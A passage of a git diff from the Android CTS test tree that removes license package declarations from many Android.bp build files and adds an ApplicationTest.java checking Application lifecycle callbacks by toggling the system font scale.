// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJobTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
index ee30d75..b08b072 100644
--- a/tests/JobSchedulerSharedUid/Android.bp
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsJobSchedulerSharedUidTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
index 252a6bb..a849c0a 100644
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJobSharedUidTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
index 8b497bf..1032247 100644
--- a/tests/JobSchedulerSharedUid/jobperm/Android.bp
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJobSchedulerJobPerm",
defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
index 8ea69f0..b3a23dc 100644
--- a/tests/JobSchedulerSharedUid/shareduid/Android.bp
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJobSchedulerSharedUid",
defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/Android.bp b/tests/ProcessTest/Android.bp
index a0c7de5..81e1efe 100644
--- a/tests/ProcessTest/Android.bp
+++ b/tests/ProcessTest/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// TODO: should it be android_helper_test_app?
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "ProcessTests",
defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/NoShareUidApp/Android.bp b/tests/ProcessTest/NoShareUidApp/Android.bp
index e5582de..1d11c3e 100644
--- a/tests/ProcessTest/NoShareUidApp/Android.bp
+++ b/tests/ProcessTest/NoShareUidApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "NoShareUidApp",
defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/ShareUidApp/Android.bp b/tests/ProcessTest/ShareUidApp/Android.bp
index 9457f14..7dc727e 100644
--- a/tests/ProcessTest/ShareUidApp/Android.bp
+++ b/tests/ProcessTest/ShareUidApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "ShareUidApp",
defaults: ["cts_defaults"],
diff --git a/tests/acceleration/Android.bp b/tests/acceleration/Android.bp
index 51911f9..a5e4027 100644
--- a/tests/acceleration/Android.bp
+++ b/tests/acceleration/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAccelerationTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index 91ce26b..1512068 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "CtsAccessibilityCommon",
sdk_version: "test_current",
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 3f5d8c7..0f7db14 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAccessibilityServiceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
index a885b05..960d96b 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccessibilityWidgetProvider",
defaults: ["cts_support_defaults"],
diff --git a/tests/accessibilityservice/testsdk29/Android.bp b/tests/accessibilityservice/testsdk29/Android.bp
index 3dc73ad..973bd71 100644
--- a/tests/accessibilityservice/testsdk29/Android.bp
+++ b/tests/accessibilityservice/testsdk29/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAccessibilityServiceSdk29TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 76a3c14..a9bf3c3 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAdminTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/admin/app/Android.bp b/tests/admin/app/Android.bp
index 970dc3b..23f2cef 100644
--- a/tests/admin/app/Android.bp
+++ b/tests/admin/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAdminApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/ActivityManagerApi29Test/Android.bp b/tests/app/ActivityManagerApi29Test/Android.bp
index 5418a8c..b724d98 100644
--- a/tests/app/ActivityManagerApi29Test/Android.bp
+++ b/tests/app/ActivityManagerApi29Test/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsActivityManagerApi29",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index e97176a..15d8131 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAppTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/app/BadProviderStubs/Android.bp b/tests/app/BadProviderStubs/Android.bp
index 1c4fca0..4bb23ed 100644
--- a/tests/app/BadProviderStubs/Android.bp
+++ b/tests/app/BadProviderStubs/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBadProviderStubs",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState1/Android.bp b/tests/app/CantSaveState1/Android.bp
index 9173cd9..d33f966 100644
--- a/tests/app/CantSaveState1/Android.bp
+++ b/tests/app/CantSaveState1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCantSaveState1",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState2/Android.bp b/tests/app/CantSaveState2/Android.bp
index 6e812af..b3a26b8 100644
--- a/tests/app/CantSaveState2/Android.bp
+++ b/tests/app/CantSaveState2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCantSaveState2",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationDelegator/Android.bp b/tests/app/NotificationDelegator/Android.bp
index 314742c..7398d69 100644
--- a/tests/app/NotificationDelegator/Android.bp
+++ b/tests/app/NotificationDelegator/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "NotificationDelegator",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 64b11f7..96a0c3c 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "NotificationListener",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index cb33762..26e69d7 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "NotificationProvider",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/StorageDelegator/Android.bp b/tests/app/StorageDelegator/Android.bp
index 7727351..588988c 100644
--- a/tests/app/StorageDelegator/Android.bp
+++ b/tests/app/StorageDelegator/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "StorageDelegator",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 8cabf87..19e3fcc 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppTestStubs",
defaults: ["cts_support_defaults"],
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
new file mode 100644
index 0000000..548a37f
--- /dev/null
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static org.mockito.Mockito.CALLS_REAL_METHODS;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.app.stubs.MockApplication;
+import android.app.stubs.MockApplicationActivity;
+import android.content.ComponentCallbacks2;
+import android.content.Context;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Test {@link Application}.
+ */
+public class ApplicationTest extends InstrumentationTestCase {
+ private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
+ // 1.2 is an arbitrary value.
+ private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
+
+ @Override
+ public void tearDown() throws Exception {
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ }
+
+
+ public void testApplication() throws Throwable {
+ final Instrumentation instrumentation = getInstrumentation();
+ final Context targetContext = instrumentation.getTargetContext();
+
+ final Intent intent = new Intent(targetContext, MockApplicationActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ final Activity activity = instrumentation.startActivitySync(intent);
+ final MockApplication mockApp = (MockApplication) activity.getApplication();
+ assertTrue(mockApp.isConstructorCalled);
+ assertTrue(mockApp.isOnCreateCalled);
+ toggleFontScale();
+ assertTrue(waitForOnConfigurationChange(mockApp));
+ }
+
+ public void testOnTrimMemory() {
+ final int level = 2;
+ Application app = new Application();
+ ComponentCallbacks2 mockCallBack2 = mock(ComponentCallbacks2.class, CALLS_REAL_METHODS);
+ app.registerComponentCallbacks(mockCallBack2);
+
+ app.onTrimMemory(level);
+
+ verify(mockCallBack2).onTrimMemory(level);
+ }
+
+ // Font scale is a global configuration.
+ // This function will delete any previous font scale changes, apply one, and remove it.
+ private void toggleFontScale() throws Throwable {
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ getInstrumentation().waitForIdleSync();
+ SystemUtil.runShellCommand(getInstrumentation(), PUT_FONT_SCALE_CMD);
+ getInstrumentation().waitForIdleSync();
+ SystemUtil.runShellCommand(getInstrumentation(), ERASE_FONT_SCALE_CMD);
+ }
+
+ // Wait for a maximum of 5 seconds for global config change to occur.
+ private boolean waitForOnConfigurationChange(MockApplication mockApp) throws Throwable {
+ int retriesLeft = 5;
+ while(retriesLeft-- > 0) {
+ if (mockApp.isOnConfigurationChangedCalled) {
+ return true;
+ }
+ Thread.sleep(1000);
+ }
+ return false;
+ }
+
+}
diff --git a/tests/appintegrity/Android.bp b/tests/appintegrity/Android.bp
index 8ac1b52..fd85d26 100644
--- a/tests/appintegrity/Android.bp
+++ b/tests/appintegrity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAppIntegrityDeviceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/apppredictionservice/Android.bp b/tests/apppredictionservice/Android.bp
index e8b9c68..b09de20 100644
--- a/tests/apppredictionservice/Android.bp
+++ b/tests/apppredictionservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAppPredictionServiceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/aslr/Android.bp b/tests/aslr/Android.bp
index 952926c..ca0049d 100644
--- a/tests/aslr/Android.bp
+++ b/tests/aslr/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CtsAslrMallocTestCases",
compile_multilib: "both",
diff --git a/tests/attentionservice/Android.bp b/tests/attentionservice/Android.bp
index a515cf7..dfa2848 100644
--- a/tests/attentionservice/Android.bp
+++ b/tests/attentionservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAttentionServiceDeviceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index 5e022ea..d04f23b 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAutoFillServiceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index bc6d77e..526b80a 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBackupTestCases",
defaults: ["cts_defaults"],
@@ -37,6 +33,7 @@
srcs: ["src/**/*.java"],
test_suites: [
"cts",
+ "mts-permission",
"general-tests",
],
sdk_version: "test_current",
diff --git a/tests/backup/app/Android.bp b/tests/backup/app/Android.bp
index 94e0c6b..0040c61 100644
--- a/tests/backup/app/Android.bp
+++ b/tests/backup/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsFullBackupApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/bugreport/Android.bp b/tests/bugreport/Android.bp
index 8a25c4a..d008efb 100644
--- a/tests/bugreport/Android.bp
+++ b/tests/bugreport/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBugreportTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index 6cb0cee..bf39750 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// Reusable Camera performance test classes and helpers
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_library {
name: "cts-camera-performance-tests",
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index b7fb561..b482853 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -17,8 +17,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := libctscamera2_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_TAGS := optional
diff --git a/tests/camera/utils/Android.bp b/tests/camera/utils/Android.bp
index 403c114..4309a28 100644
--- a/tests/camera/utils/Android.bp
+++ b/tests/camera/utils/Android.bp
@@ -14,10 +14,6 @@
// CtsCameraUtils package
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsCameraUtils",
@@ -35,3 +31,4 @@
defaults: ["cts_error_prone_rules_tests"],
}
+
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index 6cc972d..83f5cab 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsContentCaptureServiceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
index 3d31903..02188bc 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsOutsideOfPackageActivity",
defaults: ["cts_defaults"],
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
index 4f55874..cc285ea 100644
--- a/tests/contentsuggestions/Android.bp
+++ b/tests/contentsuggestions/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsContentSuggestionsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/controls/Android.bp b/tests/controls/Android.bp
index ce8f00e..4b6c4ab 100644
--- a/tests/controls/Android.bp
+++ b/tests/controls/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsControlsDeviceTestCases",
defaults: ["cts_defaults"],
@@ -40,4 +36,4 @@
srcs: ["src/**/*.java"],
sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/core/runner-axt/Android.bp b/tests/core/runner-axt/Android.bp
index b5ae781..af2a835 100644
--- a/tests/core/runner-axt/Android.bp
+++ b/tests/core/runner-axt/Android.bp
@@ -18,10 +18,6 @@
// temporary cts-core-test-runner variant that brings in androidx.test transitively, instead
// of android.support.test target. Will be removed after androidx.test CTS conversion is complete.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-core-test-runner-axt",
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index beac115..7294c91 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsFileSystemTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/fragment/Android.bp b/tests/fragment/Android.bp
index 15e9af9..ee2fdde 100644
--- a/tests/fragment/Android.bp
+++ b/tests/fragment/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsFragmentTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/fragment/sdk26/Android.bp b/tests/fragment/sdk26/Android.bp
index 7408302..69ac907 100644
--- a/tests/fragment/sdk26/Android.bp
+++ b/tests/fragment/sdk26/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsFragmentTestCasesSdk26",
defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 9568ff5..64710de 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-wm-components",
srcs: ["**/Components.java"],
diff --git a/tests/framework/base/windowmanager/alertwindowapp/Android.bp b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
index 6a3ecc7..f264f40 100644
--- a/tests/framework/base/windowmanager/alertwindowapp/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceAlertWindowTestApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
index 9fbd5d1..62fa41c 100644
--- a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts-wm-alertwindow-test-base",
srcs: ["src/android/server/wm/alertwindowappsdk25/AlertWindowTestBaseActivity.java"],
diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.bp b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
index 5000b89..82eeadb 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAlertWindowService",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app/Android.bp b/tests/framework/base/windowmanager/app/Android.bp
index ce504cc..47d164b 100644
--- a/tests/framework/base/windowmanager/app/Android.bp
+++ b/tests/framework/base/windowmanager/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/app27/Android.bp b/tests/framework/base/windowmanager/app27/Android.bp
index 28ed703..a9cacef 100644
--- a/tests/framework/base/windowmanager/app27/Android.bp
+++ b/tests/framework/base/windowmanager/app27/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestApp27",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appAShareUid/Android.bp b/tests/framework/base/windowmanager/appAShareUid/Android.bp
index 33abd33..96e644d 100644
--- a/tests/framework/base/windowmanager/appAShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appAShareUid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestShareUidAppA",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appBShareUid/Android.bp b/tests/framework/base/windowmanager/appBShareUid/Android.bp
index 0978a8f..01513e3 100644
--- a/tests/framework/base/windowmanager/appBShareUid/Android.bp
+++ b/tests/framework/base/windowmanager/appBShareUid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceServicesTestShareUidAppB",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
index 70d27ac..756bbc9 100644
--- a/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appDeprecatedSdk/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceDeprecatedSdkApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appDisplaySize/Android.bp b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
index 541f66d..b4e6a4a 100644
--- a/tests/framework/base/windowmanager/appDisplaySize/Android.bp
+++ b/tests/framework/base/windowmanager/appDisplaySize/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceDisplaySizeApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
index ad7323f..eab5460 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePrereleaseSdkApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
index 09cc969..38e5193 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
@@ -18,10 +18,6 @@
// testing what happens when an app linked against a pre-release SDK is installed
// on release device.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_app {
name: "fake-framework",
installable: false,
diff --git a/tests/framework/base/windowmanager/appProfileable/Android.bp b/tests/framework/base/windowmanager/appProfileable/Android.bp
index 03368fc..177062a 100644
--- a/tests/framework/base/windowmanager/appProfileable/Android.bp
+++ b/tests/framework/base/windowmanager/appProfileable/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceProfileableApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/appSecondUid/Android.bp b/tests/framework/base/windowmanager/appSecondUid/Android.bp
index 8f7e1b9..9d2aab6 100644
--- a/tests/framework/base/windowmanager/appSecondUid/Android.bp
+++ b/tests/framework/base/windowmanager/appSecondUid/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
